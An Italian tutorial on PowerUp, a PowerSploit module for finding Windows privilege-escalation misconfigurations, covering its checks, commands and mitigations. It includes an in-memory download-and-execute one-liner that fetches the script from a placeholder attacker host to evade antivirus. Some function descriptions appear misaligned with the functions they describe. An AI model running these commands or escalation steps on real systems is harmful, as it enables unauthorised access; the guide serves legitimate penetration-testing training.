Guida Approfondita su PowerUp
PowerUp è un modulo PowerShell sviluppato come parte del progetto PowerSploit, pensato per aiutare i penetration tester e red teamer ad automatizzare l'enumerazione delle vulnerabilità di privilege es
Guida Approfondita su PowerUp
Introduzione
PowerUp è un modulo PowerShell sviluppato come parte del progetto PowerSploit, pensato per aiutare i penetration tester e red teamer ad automatizzare l'enumerazione delle vulnerabilità di privilege escalation su sistemi Windows. È pensato per essere utilizzato in fase di post-exploitation quando si ha un accesso limitato e si desidera ottenere privilegi più elevati.
PowerUp individua configurazioni errate comuni e vulnerabilità di sicurezza che potrebbero permettere a un attaccante di ottenere accesso come amministratore o SYSTEM.
Obiettivi del Tool
- Identificare servizi vulnerabili configurati impropriamente
- Cercare file e directory scrivibili con privilegi elevati
- Trovare eseguibili con permessi deboli
- Cercare credenziali memorizzate in chiaro o in file
- Verificare permissive Access Control Lists (ACLs)
Requisiti
- Esecuzione di PowerShell (minimo v2)
- Nessuna necessità di installazione: può essere caricato in memoria
Download del Tool
PowerUp è parte di PowerSploit:
git clone https://github.com/PowerShellMafia/PowerSploit.gitOppure puoi scaricare solo il modulo PowerUp:
cd PowerSploit/PrivescEsecuzione
1. Caricamento del modulo in PowerShell
Import-Module .\PowerUp.ps12. Esecuzione automatica delle principali funzioni
Invoke-AllChecks3. Funzioni utili singole
# Cerca servizi con binari scrivibili
Get-ServiceUnquoted
Cerca servizi con ACL deboli
Get-ModifiableServiceFile
Cerca file binari con permessi modificabili
Get-ModifiablePath
Mostra informazioni su UAC
Get-UACLevelEnumerazioni Effettuate da PowerUp
- Unquoted Service Paths: servizi configurati senza virgolette in percorsi con spazi
- Modifiable Services: servizi i cui binari o configurazioni possono essere modificati
- Modifiable DLLs: DLLs in path critici scrivibili
- Registry Autorun: voci di registro configurate per eseguire file all'avvio
- AlwaysInstallElevated: policy Windows che consente installazione di MSI con privilegi elevati
- UAC: stato dell'UAC e livello di protezione
- Credenziali e Password: cerca password hardcoded o salvate in chiaro
Esempi di Escalation Tipici
- Un servizio con percorso non quotato → caricamento di un payload nel primo path matchato
- Policy AlwaysInstallElevated attiva → esecuzione di payload.msi con privilegi SYSTEM
- DLL Hijacking → sostituzione di una DLL scrivibile da utente limitato
Tecniche Off-AV
- PowerUp può essere caricato in memoria per evitare scrittura su disco:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/PowerUp.ps1')
Invoke-AllChecksBest Practice in Ambiente Offensivo
- Utilizzare dopo la compromissione iniziale e prima del tentativo di escalation
- Salvare l’output per analisi successiva
- Eseguire da utente non privilegiato per emulare scenari realistici
Mitigazioni e Difese
- Rimuovere policy "AlwaysInstallElevated"
- Applicare restrizioni NTFS su binari critici
- Usare software di controllo integrità (es. AppLocker)
- Monitorare script PowerShell e attività sospette con Microsoft Defender for Endpoint
Risorse
Conclusione
PowerUp è uno strumento estremamente utile per la fase di privilege escalation su host Windows. La sua capacità di automatizzare la ricerca di configurazioni errate lo rende una risorsa essenziale per ogni penetration tester. Deve essere usato con cautela e sempre contestualizzato all’ambiente di attacco per evitare rilevamenti o instabilità di sistema.